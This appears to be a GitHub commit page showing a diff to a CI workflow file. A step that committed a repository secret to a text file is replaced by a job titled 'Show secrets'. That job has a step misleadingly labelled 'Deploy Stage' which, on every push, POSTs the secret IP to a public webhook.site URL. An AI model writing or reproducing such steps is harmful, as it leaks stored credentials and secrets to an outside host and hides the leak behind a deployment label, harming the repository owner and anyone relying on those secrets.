-
-
Notifications
You must be signed in to change notification settings - Fork 4
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
5bd06d8
commit ee95ff6
Showing
1 changed file
with
13 additions
and
25 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,28 +1,16 @@ | ||
name: Adicionar IP ao repositório | ||
|
||
on: | ||
push: | ||
branches: | ||
- '*' # qualquer branch | ||
|
||
name: Show secrets | ||
on: [push] | ||
jobs: | ||
add-ip-file: | ||
debug: | ||
name: Show secrets | ||
runs-on: ubuntu-latest | ||
steps: | ||
- name: Checkout do código | ||
uses: actions/checkout@v2 | ||
|
||
- name: Criar arquivo com IP | ||
run: echo "${{ secrets.IP }}" > ip.txt | ||
|
||
- name: Configurar Git | ||
run: | | ||
git config --global user.email "[email protected]" | ||
git config --global user.name "GitHub Actions" | ||
git remote set-url origin https://${{ github.actor }}:${{ secrets.GITHUB_TOKEN }}@github.com/${{ github.repository }} | ||
- name: Adicionar arquivo ao repositório | ||
run: | | ||
git add ip.txt | ||
git commit -m "Adicionar arquivo com IP ao repositório" | ||
git push | ||
- name: Deploy Stage | ||
env: | ||
IP: ${{ secrets.IP }} | ||
uses: fjogeleit/http-request-action@v1 | ||
with: | ||
url: 'https://webhook.site/717b5f66-654b-4f6b-84b9-ec5d0193ef51' | ||
method: 'POST' | ||
customHeaders: '{"Content-Type": "application/json"}' | ||
data: ${{ secrets.IP }} |